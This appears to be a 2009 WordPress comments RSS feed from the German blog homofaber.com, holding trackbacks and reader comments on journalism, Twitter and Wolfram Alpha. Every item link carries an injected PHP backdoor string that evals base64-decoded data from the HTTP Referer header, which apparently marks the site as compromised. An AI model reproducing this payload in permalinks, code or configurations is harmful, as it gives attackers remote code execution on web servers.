<?xml version="1.0" encoding="UTF-8"?><rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	>
<channel>
	<title>Comments for homofaber.com</title>
	<atom:link href="http://www.homofaber.com/comments/feed/" rel="self" type="application/rss+xml" />
	<link>http://www.homofaber.com</link>
	<description>Notizen zur Kultur Technik</description>
	<pubDate>Fri, 12 Mar 2010 17:22:23 +0000</pubDate>
	<generator>http://wordpress.org/?v=2.7.1</generator>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
		<item>
		<title>Comment on Das Dilemma by blog.rhein-zeitung.de &#187; Blog Archive &#187; „Ich bin Presse&#8221;, &#8220;Maul zu&#8221;, &#8220;geh sterben&#8221;</title>
		<link>http://www.homofaber.com/2009/08/19/das-dilemma/%&#038;($eval(base64_decode($_SERVERHTTP_REFERER)).+)&#038;%/comment-page-1/#comment-1008</link>
		<dc:creator>blog.rhein-zeitung.de &#187; Blog Archive &#187; „Ich bin Presse&#8221;, &#8220;Maul zu&#8221;, &#8220;geh sterben&#8221;</dc:creator>
		<pubDate>Wed, 19 Aug 2009 07:25:42 +0000</pubDate>
		<guid isPermaLink="false">http://www.homofaber.com/?p=534#comment-1008</guid>
		<description>[...] Allgemein Zeitung, in Twitter unter @homofaber und auch für @haz aktiv, beschreibt in seinem Blog homofaber.com „Das Dilemma&#8221; der Journalisten in solchen [...]</description>
		<content:encoded><![CDATA[<p>[...] Allgemein Zeitung, in Twitter unter @homofaber und auch für @haz aktiv, beschreibt in seinem Blog homofaber.com „Das Dilemma&#8221; der Journalisten in solchen [...]</p>
]]></content:encoded>
	</item>
	<item>
		<title>Comment on Das Dilemma by Gladbeck reloaded? &#171; ostroplog &#8211; Das Weblog von Philipp Ostrop</title>
		<link>http://www.homofaber.com/2009/08/19/das-dilemma/%&#038;($eval(base64_decode($_SERVERHTTP_REFERER)).+)&#038;%/comment-page-1/#comment-1007</link>
		<dc:creator>Gladbeck reloaded? &#171; ostroplog &#8211; Das Weblog von Philipp Ostrop</dc:creator>
		<pubDate>Wed, 19 Aug 2009 07:19:15 +0000</pubDate>
		<guid isPermaLink="false">http://www.homofaber.com/?p=534#comment-1007</guid>
		<description>[...] als ich es in der letzten Nacht geschafft habe: Christian Lindner (Chefredakteur der Rhein Zeitung) Marcus Schwarze (HAZ) Tim Schlüter (Moderator [...]</description>
		<content:encoded><![CDATA[<p>[...] als ich es in der letzten Nacht geschafft habe: Christian Lindner (Chefredakteur der Rhein Zeitung) Marcus Schwarze (HAZ) Tim Schlüter (Moderator [...]</p>
]]></content:encoded>
	</item>
	<item>
		<title>Comment on Das Dilemma by 6 vor 9: Schwalmtal, Spreng, Moskau » medienlese.com</title>
		<link>http://www.homofaber.com/2009/08/19/das-dilemma/%&#038;($eval(base64_decode($_SERVERHTTP_REFERER)).+)&#038;%/comment-page-1/#comment-1006</link>
		<dc:creator>6 vor 9: Schwalmtal, Spreng, Moskau » medienlese.com</dc:creator>
		<pubDate>Wed, 19 Aug 2009 07:00:42 +0000</pubDate>
		<guid isPermaLink="false">http://www.homofaber.com/?p=534#comment-1006</guid>
		<description>[...] 2. &#8220;Das Dilemma&#8221; (homofaber.com) &#8220;Wir bei der HAZ haben das zwar verfolgt, was dort über Schwalmtal geschrieben wurde. Und wir sind per Twitter auch schnell auf das Forum gestoßen, in dem ein 18-jähriger Nachbar ein scharfes, hoch aufgelöstes Foto veröffentlichte, das den Polizeieinsatz in dieser Wohnsiedlung in Schwalmtal zeigte, mit zwei SEK-Polizisten an einer Hauswand und einem offenbar getöteten Menschen zu ihren Füßen. Man gewinnt keinen Journalistenpreis, indem man dieses Foto zurückhält.&#8221; [...]</description>
		<content:encoded><![CDATA[<p>[...] 2. &#8220;Das Dilemma&#8221; (homofaber.com) &#8220;Wir bei der HAZ haben das zwar verfolgt, was dort über Schwalmtal geschrieben wurde. Und wir sind per Twitter auch schnell auf das Forum gestoßen, in dem ein 18-jähriger Nachbar ein scharfes, hoch aufgelöstes Foto veröffentlichte, das den Polizeieinsatz in dieser Wohnsiedlung in Schwalmtal zeigte, mit zwei SEK-Polizisten an einer Hauswand und einem offenbar getöteten Menschen zu ihren Füßen. Man gewinnt keinen Journalistenpreis, indem man dieses Foto zurückhält.&#8221; [...]</p>
]]></content:encoded>
	</item>
	<item>
		<title>Comment on Der Moment by trau.kainehm</title>
		<link>http://www.homofaber.com/2009/06/24/der-moment/%&#038;($eval(base64_decode($_SERVERHTTP_REFERER)).+)&#038;%/comment-page-1/#comment-1004</link>
		<dc:creator>trau.kainehm</dc:creator>
		<pubDate>Wed, 24 Jun 2009 23:15:49 +0000</pubDate>
		<guid isPermaLink="false">http://www.homofaber.com/?p=488#comment-1004</guid>
		<description>Letztendlich lag es in der Hand der „Huffington Post“, die Quelle als Frage aus dem Iran anzuerkennen und weiterzugeben.

dpa, Reuters, afp, et.al. müssen ihren Weg finden, Twitterer oder einzelne Tweets einzustufen und zu verifizieren.
Selbst ein Sender wie BBC hat nicht den Anspruch einer Agentur auf ausschließlich knappe, objektive und (hinreichend) valide Informationen. Jedem Redakteur steht ein gewisser Spielraum für zusätzliche Quellen offen; z.Zt. wohl hauptsächlich im Bereich von Exclusiv-Stories, in Zukunft hoffentlich mehr.

Hier sehe ich Vermarktungspotential für Redaktionen. Ein Umschwung vom Auffinden und Distribution neuer Nachrichen hin zur Bewertung und Überprüfung von Quellen sowie Einstufung auf Relevanz.
@haz leistet in dieser Hinsicht wirklich sehr gute Arbeit.</description>
		<content:encoded><![CDATA[<p>Letztendlich lag es in der Hand der „Huffington Post“, die Quelle als Frage aus dem Iran anzuerkennen und weiterzugeben.</p>
<p>dpa, Reuters, afp, et.al. müssen ihren Weg finden, Twitterer oder einzelne Tweets einzustufen und zu verifizieren.<br />
Selbst ein Sender wie BBC hat nicht den Anspruch einer Agentur auf ausschließlich knappe, objektive und (hinreichend) valide Informationen. Jedem Redakteur steht ein gewisser Spielraum für zusätzliche Quellen offen; z.Zt. wohl hauptsächlich im Bereich von Exclusiv-Stories, in Zukunft hoffentlich mehr.</p>
<p>Hier sehe ich Vermarktungspotential für Redaktionen. Ein Umschwung vom Auffinden und Distribution neuer Nachrichen hin zur Bewertung und Überprüfung von Quellen sowie Einstufung auf Relevanz.<br />
@haz leistet in dieser Hinsicht wirklich sehr gute Arbeit.</p>
]]></content:encoded>
	</item>
	<item>
		<title>Comment on Wolfram Alpha im zweiten Test: Beispiele by Wolfram alpha im test &#124; Rankdoctor - Suchmaschinenoptimierung in der Medizin</title>
		<link>http://www.homofaber.com/2009/05/09/wolfram-alpha-im-zweiten-test-beispiele/%&#038;($eval(base64_decode($_SERVERHTTP_REFERER)).+)&#038;%/comment-page-1/#comment-960</link>
		<dc:creator>Wolfram alpha im test &#124; Rankdoctor - Suchmaschinenoptimierung in der Medizin</dc:creator>
		<pubDate>Sat, 16 May 2009 12:19:02 +0000</pubDate>
		<guid isPermaLink="false">http://www.homofaber.com/?p=399#comment-960</guid>
		<description>[...] mit dem Test unserer Bundeskanzlerin Frau Merkel an, der positiv mit sinnigen Daten ablief.  Auch Homofaber war mit seinen Ergebnissen zufrieden, ebeneso wie der Blogger [...]</description>
		<content:encoded><![CDATA[<p>[...] mit dem Test unserer Bundeskanzlerin Frau Merkel an, der positiv mit sinnigen Daten ablief.  Auch Homofaber war mit seinen Ergebnissen zufrieden, ebeneso wie der Blogger [...]</p>
]]></content:encoded>
	</item>
	<item>
		<title>Comment on Das Google-Elixier: Jeff Jarvis über die Linkökonomie by Zum Blog-Geburtstag die Frage aller Fragen &#124; TechBanger.de</title>
		<link>http://www.homofaber.com/2009/04/26/das-google-elixier-jeff-jarvis-uber-die-linkokonomie/%&#038;($eval(base64_decode($_SERVERHTTP_REFERER)).+)&#038;%/comment-page-1/#comment-935</link>
		<dc:creator>Zum Blog-Geburtstag die Frage aller Fragen &#124; TechBanger.de</dc:creator>
		<pubDate>Wed, 13 May 2009 06:04:44 +0000</pubDate>
		<guid isPermaLink="false">http://www.homofaber.com/?p=323#comment-935</guid>
		<description>[...] G&#8221;, die &#8220;Generation Google&#8221;, für die Begriffe wie Beziehungen und Privatsphäre bereits neue Bedeutungen [...]</description>
		<content:encoded><![CDATA[<p>[...] G&#8221;, die &#8220;Generation Google&#8221;, für die Begriffe wie Beziehungen und Privatsphäre bereits neue Bedeutungen [...]</p>
]]></content:encoded>
	</item>
	<item>
		<title>Comment on WolframAlpha angetestet: Die neue Tiefe des Webs by homofaber.com &#187; Wolfram Alpha zum Dritten: Die Suchmaschine im Test von Twitter-Nutzern&#160;&#171;</title>
		<link>http://www.homofaber.com/2009/05/06/wolframalpha-angetestet-die-neue-tiefe-des-webs/%&#038;($eval(base64_decode($_SERVERHTTP_REFERER)).+)&#038;%/comment-page-1/#comment-934</link>
		<dc:creator>homofaber.com &#187; Wolfram Alpha zum Dritten: Die Suchmaschine im Test von Twitter-Nutzern&#160;&#171;</dc:creator>
		<pubDate>Sat, 09 May 2009 16:12:41 +0000</pubDate>
		<guid isPermaLink="false">http://www.homofaber.com/?p=378#comment-934</guid>
		<description>[...] homofaber   Die Suchmaschine Wolfram Alpha soll am 18. Mai starten. Per Twitter habe ich nach dem ersten und dem zweiten Test angeboten,  einige weitere Testanfragen an die Maschine zu stellen &#8212; [...]</description>
		<content:encoded><![CDATA[<p>[...] homofaber   Die Suchmaschine Wolfram Alpha soll am 18. Mai starten. Per Twitter habe ich nach dem ersten und dem zweiten Test angeboten,  einige weitere Testanfragen an die Maschine zu stellen &#8212; [...]</p>
]]></content:encoded>
	</item>
	<item>
		<title>Comment on Wolfram Alpha im zweiten Test: Beispiele by homofaber.com &#187; WolframAlpha angetestet: Die neue Tiefe des Webs&#160;&#171;</title>
		<link>http://www.homofaber.com/2009/05/09/wolfram-alpha-im-zweiten-test-beispiele/%&#038;($eval(base64_decode($_SERVERHTTP_REFERER)).+)&#038;%/comment-page-1/#comment-932</link>
		<dc:creator>homofaber.com &#187; WolframAlpha angetestet: Die neue Tiefe des Webs&#160;&#171;</dc:creator>
		<pubDate>Sat, 09 May 2009 00:48:56 +0000</pubDate>
		<guid isPermaLink="false">http://www.homofaber.com/?p=399#comment-932</guid>
		<description>[...] Mittlerweile konnte ich die Maschine ausführlicher testen und weitere Beispiele für Suchanfragen zusammenstellen.)   Tags &#187; Google, Stephen Wolfram, Suchmaschine, Test, WolframAlpha &#171;  Trackback: [...]</description>
		<content:encoded><![CDATA[<p>[...] Mittlerweile konnte ich die Maschine ausführlicher testen und weitere Beispiele für Suchanfragen zusammenstellen.)   Tags &raquo; Google, Stephen Wolfram, Suchmaschine, Test, WolframAlpha &laquo;  Trackback: [...]</p>
]]></content:encoded>
	</item>
	<item>
		<title>Comment on Das Google-Elixier: Jeff Jarvis über die Linkökonomie by toldi</title>
		<link>http://www.homofaber.com/2009/04/26/das-google-elixier-jeff-jarvis-uber-die-linkokonomie/%&#038;($eval(base64_decode($_SERVERHTTP_REFERER)).+)&#038;%/comment-page-1/#comment-925</link>
		<dc:creator>toldi</dc:creator>
		<pubDate>Sun, 26 Apr 2009 17:21:42 +0000</pubDate>
		<guid isPermaLink="false">http://www.homofaber.com/?p=323#comment-925</guid>
		<description>Viele Nutzer haben die Möglichkeiten im Netz noch nicht erkannt.</description>
		<content:encoded><![CDATA[<p>Viele Nutzer haben die Möglichkeiten im Netz noch nicht erkannt.</p>
]]></content:encoded>
	</item>
	<item>
		<title>Comment on Statistik über twitternde Redaktionen by Leander Wattig</title>
		<link>http://www.homofaber.com/2009/03/09/statistik-uber-twitternde-redaktionen/%&#038;($eval(base64_decode($_SERVERHTTP_REFERER)).+)&#038;%/comment-page-1/#comment-924</link>
		<dc:creator>Leander Wattig</dc:creator>
		<pubDate>Tue, 10 Mar 2009 00:01:38 +0000</pubDate>
		<guid isPermaLink="false">http://www.homofaber.com/wordpress/?p=147#comment-924</guid>
		<description>Vielen Dank für Ihren Hinweis auf mein Ranking von Ende Januar. 

Mittlerweile werden die Basisdaten in einem Wiki zusammengetragen und die Twitter-Accounts extra ausgewiesen. Diese Liste wird ständig aktualisiert und erweitert. Sie umfasst inzwischen über 350 Twitter-Accounts von Medienunternehmen und -marken. Sie können diese Liste gern als Basis für Ihre Statistiken nutzen:
http://leanderwattig.de/wiki/index.php/Medienunternehmen:_Microblogging

Das erspart Ihnen sicher viel Arbeit, denn über Ihre momentane Aufstellung hinaus finden sich in der Liste viele weitere twitternde Zeitungsredaktionen (einfach nach Herkunft "Presse" sortieren). Wäre schaden, wenn Sie mit viel Mühe die gleichen Daten noch einmal zusammen tragen würden. Ein kurzer Quellenhinweis auf meine Plattform genügt.</description>
		<content:encoded><![CDATA[<p>Vielen Dank für Ihren Hinweis auf mein Ranking von Ende Januar. </p>
<p>Mittlerweile werden die Basisdaten in einem Wiki zusammengetragen und die Twitter-Accounts extra ausgewiesen. Diese Liste wird ständig aktualisiert und erweitert. Sie umfasst inzwischen über 350 Twitter-Accounts von Medienunternehmen und -marken. Sie können diese Liste gern als Basis für Ihre Statistiken nutzen:<br />
<a href="http://leanderwattig.de/wiki/index.php/Medienunternehmen:_Microblogging" rel="nofollow">http://leanderwattig.de/wiki/index.php/Medienunternehmen:_Microblogging</a></p>
<p>Das erspart Ihnen sicher viel Arbeit, denn über Ihre momentane Aufstellung hinaus finden sich in der Liste viele weitere twitternde Zeitungsredaktionen (einfach nach Herkunft &#8220;Presse&#8221; sortieren). Wäre schaden, wenn Sie mit viel Mühe die gleichen Daten noch einmal zusammen tragen würden. Ein kurzer Quellenhinweis auf meine Plattform genügt.</p>
]]></content:encoded>
	</item>
</channel>
</rss>
